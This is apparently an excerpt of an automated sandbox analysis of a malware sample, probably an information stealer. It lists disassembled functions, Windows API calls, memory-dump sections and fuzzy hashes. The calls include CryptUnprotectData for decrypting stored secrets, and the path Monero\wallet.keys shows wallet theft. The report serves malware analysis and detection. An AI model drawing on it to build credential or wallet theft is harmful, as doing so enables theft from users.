Function 00648EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00635184,40000001,00000000,00000000,?,00635184), ref: 00648EC0

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: b6a638885ea95c65ccd9a041c68d172785c7b9438694a85e7bdbc997db430675
Instruction ID: ea5128ceeec3b2c447f32630c222ad33449416db6f5f6c8184e70202bd2ad062
Opcode Fuzzy Hash: b6a638885ea95c65ccd9a041c68d172785c7b9438694a85e7bdbc997db430675
Instruction Fuzzy Hash: EC110674204208BFDB44CF64E888FAA37AABF89740F109458F9198B250DB76E885DB61

Function 00647A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,014502E8,00000000,?,00650E10,00000000,?,00000000,00000000), ref: 00647A63
RtlAllocateHeap.NTDLL(00000000), ref: 00647A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,014502E8,00000000,?,00650E10,00000000,?,00000000,00000000,?), ref: 00647A7D
wsprintfA.USER32 ref: 00647AB7

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: dbf220ff9781b49afb949352c8e0c98b76512b6b301755dfa4dbd1f348854fa3
Instruction ID: 4cfe79570bf777780da11645cf4f05eb37b4b26d840d453d683bad55e93bc21b
Opcode Fuzzy Hash: dbf220ff9781b49afb949352c8e0c98b76512b6b301755dfa4dbd1f348854fa3
Instruction Fuzzy Hash: E6118EB1A45218EBEB24CB54DC49FA9B778FB44721F1043AAE90A932C0C7745A80CF52

Function 00643720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0064E118,00000000,00000001,0064E108,00000000), ref: 00643758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 006437B0

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 1a3559cb1991024ae2ccf2d5c714401fd783c504f1d8d372c968107d59d77b2f
Instruction ID: 0b9635a3b1f1b8c5611dae7dd792eeff0cda07f64e9e50cd009145535640f3fa
Opcode Fuzzy Hash: 1a3559cb1991024ae2ccf2d5c714401fd783c504f1d8d372c968107d59d77b2f
Instruction Fuzzy Hash: 7E41F670A40A289FDB24DF58CC94B9BB7B5BB48702F4041D8E618A72D0E771AEC5CF50

Function 00639B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00639B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00639BA3
LocalFree.KERNEL32(?), ref: 00639BD3

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 847e5475d8031b739d224d51c0c8c59a421b3fc0fef6bd100241cbf471e91a94
Instruction ID: 616705708d4e63ecf80c2391043b101d010badc1b0358f60c776d63d4f52a39b
Opcode Fuzzy Hash: 847e5475d8031b739d224d51c0c8c59a421b3fc0fef6bd100241cbf471e91a94
Instruction Fuzzy Hash: BA11CCB4A00209DFDB04DF94D989AAEB7B9FF88300F104558E915A7394D774AE50CFA1

Function 00990B30 Relevance: 1.5, Strings: 1, Instructions: 250COMMON

Download Yara Rule

Strings

w=l|, xrefs: 00990C72

Memory Dump Source

Source File: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID: w=l|
API String ID: 0-1810114630
Opcode ID: aff3a47b4b603f6e4479b7cc7dfb152322b5c76c42b8e218878ffa56e251c9a2
Instruction ID: 123da54afb80f564c09c2e2b4560466a01bb120980c1acd12553aecb5147e611
Opcode Fuzzy Hash: aff3a47b4b603f6e4479b7cc7dfb152322b5c76c42b8e218878ffa56e251c9a2
Instruction Fuzzy Hash: AC7117F3E082149FE3106A29DC457A6BBDADBD4320F1B863DEAC4D3784E9795C054792

Function 009838C9 Relevance: 1.5, Strings: 1, Instructions: 205COMMON

Download Yara Rule

Strings

J[4, xrefs: 00983A3F

Memory Dump Source

Source File: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID: J[4
API String ID: 0-1610857072
Opcode ID: 788f070fc3865af5fac15fca87e23744f63db86f909b8d1c2bdedbf721865904
Instruction ID: 11a0ad7f217d34c41a4632e2cf1451573b50342de7d0d7a9be6c5279226540d9
Opcode Fuzzy Hash: 788f070fc3865af5fac15fca87e23744f63db86f909b8d1c2bdedbf721865904
Instruction Fuzzy Hash: BE51D2B3E186108FF3086E28DD8677ABBD6EB84310F1B813DDA89D7784E93959044785

Function 0096C3F8 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95636059c972a9d28ca16ea1905b1b81bf04f0521ed442a3ab50f9d211b8abe6
Instruction ID: a67f22e2a699776e26b99938ce946f92fe0eb5d50012783e177ecb6c3c1355cf
Opcode Fuzzy Hash: 95636059c972a9d28ca16ea1905b1b81bf04f0521ed442a3ab50f9d211b8abe6
Instruction Fuzzy Hash: F2516AF3948214ABE3006D3DDC8577BBBDDDB94224F2A0A3DEA94D3B84E97588054292

Function 00910B7C Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d49c13023c33c229e044aeb6bf844536e6b762c19642c37820d2c31ea9c36b1
Instruction ID: 8bd32fd64687c9556e29c1ffcd0c1dad8ddae747c10aa37bd7bea5d3167f9b5b
Opcode Fuzzy Hash: 3d49c13023c33c229e044aeb6bf844536e6b762c19642c37820d2c31ea9c36b1
Instruction Fuzzy Hash: E751F3F3E142205BE3146D2DDC9576AB6D9EF94320F1B463EEE88D7384E8794C0582D2

Function 00AEF909 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02c9d5f957ad4cee424fa35953fd06bf557041d8fa2517885ccc4c02cb33c97
Instruction ID: ae451339fbafa6531efab14896abc5ff036b266b4df58c7ee2d56653b1bb226a
Opcode Fuzzy Hash: f02c9d5f957ad4cee424fa35953fd06bf557041d8fa2517885ccc4c02cb33c97
Instruction Fuzzy Hash: E951CEB251C654DFD301AE19D88577AF7E8EB08360F26493EEAC6D7200E63298009B97

Function 009542AA Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5803cdf6fe4204318a681533910139cba8366a20152ae5140ee63986f4be026
Instruction ID: 77090a042eb48fb30e65989621427bf7ed9dee7cca7e167355001e506648d27e
Opcode Fuzzy Hash: b5803cdf6fe4204318a681533910139cba8366a20152ae5140ee63986f4be026
Instruction Fuzzy Hash: 4B4146F3A086005FE359AA28EC4277AB7DADFC4320F1A853DE7C4D3784E979590186C6

Function 00908ED1 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc28abd43d05949f6237760fdd9ece1de0abb867a1532be493c3b479799d1fa4
Instruction ID: a3d812efffb9beb98f04dc1a4c4a40c2ef992e920bca95cf946796d61e472312
Opcode Fuzzy Hash: cc28abd43d05949f6237760fdd9ece1de0abb867a1532be493c3b479799d1fa4
Instruction Fuzzy Hash: 7F412AF36082009FF304AA29EC8577BB7EADBD4710F15CA3DE585C7744E63998468652

Function 00649750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00640250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

Part of subcall function 00648DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00648E0B

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcat.KERNEL32(00000000), ref: 0064A982

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,00650E17), ref: 0064A905

Part of subcall function 0064A9B0: lstrlen.KERNEL32(?,01449E88,?,\Monero\wallet.keys,00650E17), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006399EC
Part of subcall function 006399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00639A11
Part of subcall function 006399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00639A31
Part of subcall function 006399C0: ReadFile.KERNEL32(000000FF,?,00000000,0063148F,00000000), ref: 00639A5A
Part of subcall function 006399C0: LocalFree.KERNEL32(0063148F), ref: 00639A90
Part of subcall function 006399C0: CloseHandle.KERNEL32(000000FF), ref: 00639A9A

Part of subcall function 00648E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00648E52

GetProcessHeap.KERNEL32(00000000,000F423F,00650DBA,00650DB7,00650DB6,00650DB3), ref: 00640362
RtlAllocateHeap.NTDLL(00000000), ref: 00640369
